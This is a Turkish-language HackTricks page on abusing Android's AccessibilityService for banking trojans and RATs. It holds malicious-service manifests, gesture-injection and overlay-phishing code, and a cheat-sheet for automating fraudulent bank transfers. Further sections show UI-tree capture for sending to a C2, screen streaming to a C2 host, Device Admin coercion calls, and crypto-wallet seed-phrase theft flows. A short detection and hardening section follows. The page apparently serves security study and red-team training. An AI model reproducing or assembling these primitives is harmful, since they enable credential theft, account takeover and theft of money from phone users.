Android Accessibility Service Kötüye Kullanımı
Reading time: 8 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Genel Bakış
AccessibilityService
, engelli kullanıcıların Android cihazlarla etkileşim kurmasına yardımcı olmak için oluşturuldu. Ne yazık ki aynı güçlü otomasyon API'leri (küresel gezinme, metin girişi, jest yönlendirme, üst üste binen pencereler…) kötü amaçlı yazılımlar tarafından cihaz üzerinde tam uzaktan kontrol sağlamak için kullanılabilir root ayrıcalıkları olmadan.
Günümüz Android bankacılık Trojanları ve Remote-Access-Trojans (RATs) ör. PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda ve diğerleri aynı reçeteyi izler:
- Kurbanı sosyal mühendislikle kötü amaçlı bir erişilebilirlik servisini etkinleştirmeye ikna et ( BIND_ACCESSIBILITY_SERVICE izni "high-risk" olarak kabul edilir ve açık bir kullanıcı işlemi gerektirir).
- Servisi şu amaçlarla kullan:
- ekranda görünen her UI olayını ve metni yakalamak,
- operatörün istediği herhangi bir görevi otomatikleştirmek için sentetik hareketler (
dispatchGesture
) ve global eylemler (performGlobalAction
) enjekte etmek, - meşru uygulamaların üzerine tam ekran overlay'ler çizmek için TYPE_ACCESSIBILITY_OVERLAY pencere türünü kullanmak (no
SYSTEM_ALERT_WINDOW
prompt!), - kurban adına sistem diyaloglarındaki butonlara tıklayarak ek çalışma zamanı izinlerini sessizce vermek.
- Verileri exfiltrate etmek veya kullanıcı normal bir ekranı izlerken gerçek zamanlı olarak On-Device-Fraud (ODF) gerçekleştirmek.
İzin İsteme
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
Eşlik eden XML, sahte iletişim kutusunun nasıl görüneceğini tanımlar:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
Uzaktan UI otomasyon temel bileşenleri
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
Sadece bu iki API ile bir saldırgan şunları yapabilir:
- Ekranın kilidini açmak, bankacılık uygulamasını açmak, UI ağacında gezinmek ve bir transfer formu göndermek.
- Görünen tüm izin diyaloglarını kabul etmek.
- Play Store intent'i aracılığıyla ekstra APK'leri yüklemek/güncellemek.
İstismar örüntüleri
1. Overlay Phishing (Credential Harvesting)
Pencere yöneticisine şeffaf veya opak bir WebView
eklenir:
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
Kurbandaki kişi sahte forma kimlik bilgilerini girerken arka plandaki uygulama aynı jestleri alır — hiç şüpheli "draw over other apps" istemi gösterilmez.
Detailed example: the Accessibility Overlay Phishing section inside the Tapjacking page.
2. Cihaz Üzerinde Dolandırıcılık Otomasyonu
Malware aileleri (ör. PlayPraetor), operatörün yüksek seviyeli komutlar (init
, update
, alert_arr
, report_list
, …) gönderebildiği kalıcı bir WebSocket kanalı tutar. Servis bu komutları yukarıdaki düşük seviyeli jestlere çevirir ve aynı cihaza bağlı multi-factor-authentication'ı kolayca atlatan gerçek zamanlı yetkisiz işlemler gerçekleştirir.
3. Ekran akışı ve izleme
MediaProjection API ile bir RTMP client kütüphanesini birleştirerek, RAT canlı framebuffer'ı rtmp://<c2>:1935/live/<device_id>
adresine yayınlayabilir; bu, Accessibility engine UI'yi kontrol ederken saldırgana mükemmel durum farkındalığı sağlar.
PlayPraetor – command & control workflow
- HTTP(S) heartbeat – iterate over a hard-coded list until one domain answers
POST /app/searchPackageName
with the active C2. - WebSocket (port 8282) – bidirectional JSON commands:
update
– push new conf/APKsalert_arr
– configure overlay templatesreport_list
– send list of targeted package namesheartbeat_web
– keep-alive
- RTMP (port 1935) – live screen/video streaming.
- REST exfiltration –
/app/saveDevice
(fingerprint)/app/saveContacts
|/app/saveSms
|/app/uploadImageBase64
/app/saveCardPwd
(bank creds)
The AccessibilityService is the local engine that turns those cloud commands into physical interactions.
Kötü amaçlı Accessibility servislerini tespit etme
adb shell settings get secure enabled_accessibility_services
- Settings → Accessibility → Downloaded services – Google Play'den olmayan uygulamalara bakın.
- MDM / EMM çözümleri, sideloaded servisleri engellemek için
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY
(Android 13+) uygulayabilir. - Çalışan servisleri analiz et:
adb shell dumpsys accessibility | grep "Accessibility Service"
Uygulama geliştiricileri için sertleştirme önerileri
- Duyarlı görünümleri
android:accessibilityDataSensitive="accessibilityDataPrivateYes"
(API 34+) ile işaretleyin. setFilterTouchesWhenObscured(true)
ileFLAG_SECURE
'yi birleştirerek tap/overlay hijacking'i önleyin.WindowManager.getDefaultDisplay().getFlags()
veyaViewRootImpl
API'sini sorgulayarak overlay'leri tespit edin.Settings.canDrawOverlays()
veya güvenilmeyen bir Accessibility servisi etkinse çalışmayı reddedin.
ATS otomasyonu cheat-sheet (Accessibility-driven)
Malware, sadece Accessibility API'leriyle bir banka uygulamasını tamamen otomatikleştirebilir. Genel primitive'ler:
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}
Örnek akış (Çekçe → İngilizce etiketler):
- "Nová platba" (Yeni ödeme) → tıkla
- "Zadat platbu" (Ödeme gir) → tıkla
- "Nový příjemce" (Yeni alıcı) → tıkla
- "Domácí číslo účtu" (Yurtiçi hesap numarası) → odakla ve
ACTION_SET_TEXT
- "Další" (İleri) → tıkla → … "Zaplatit" (Öde) → tıkla → PIN gir
Geriye dönüş: Özelleştirilmiş widget'lar nedeniyle metin araması başarısız olduğunda dispatchGesture
ile sabit koordinatlar kullanılır.
Ayrıca gözlemlendi: transfer öncesinde limitler UI'sine gidip günlük limitleri artırarak check_limit
ve limit
için ön adımlar.
Metin tabanlı sahte-ekran akışı
Düşük gecikmeli uzaktan kontrol için, tam video akışı yerine mevcut UI ağacının metinsel bir temsilini çıkarıp C2'ye tekrarlayarak gönderin.
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
}
Bu, txt_screen
(tek seferlik) ve screen_live
(sürekli) gibi komutların temelidir.
Device Admin zorlamaya yönelik primitifler
Bir Device Admin alıcısı etkinleştirildiğinde, bu çağrılar kimlik bilgilerini ele geçirme ve kontrolü sürdürme fırsatlarını artırır:
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);
// 1) Immediate lock
dpm.lockNow();
// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);
Not: Bu politikaların tam kullanılabilirliği Android sürümüne ve OEM'e göre değişir; test sırasında cihaz politika rolünü (admin vs owner) doğrulayın.
Kripto cüzdan seed-phrase çıkarma kalıpları
MetaMask, Trust Wallet, Blockchain.com ve Phantom için gözlemlenen akışlar:
- Çalınmış PIN ile kilidin açılması (overlay/Erişilebilirlik üzerinden yakalanmış) veya sağlanan cüzdan şifresi.
- Gezinme: Settings → Security/Recovery → Reveal/Show recovery phrase.
- İfadeyi keylogging ile metin düğümlerinden, secure-screen bypass ile veya metin gizlendiğinde ekran görüntüsü OCR ile toplayın.
- Seçicileri istikrarlı hale getirmek için birden fazla locale (EN/RU/CZ/SK) destekleyin – mümkünse
viewIdResourceName
'i tercih edin, yoksa çok dilli metin eşleştirmesine geri dönün.
NFC-relay orkestrasyonu
Erişilebilirlik/RAT modülleri, üçüncü aşama olarak özel bir NFC-relay uygulaması (ör. NFSkate) kurup başlatabilir ve hatta kurbanı card-present relay adımlarında yönlendirmek için bir overlay kılavuzu enjekte edebilir.
Arka plan ve TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
Referanslar
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation – Automating UI interaction
- The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)
- GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.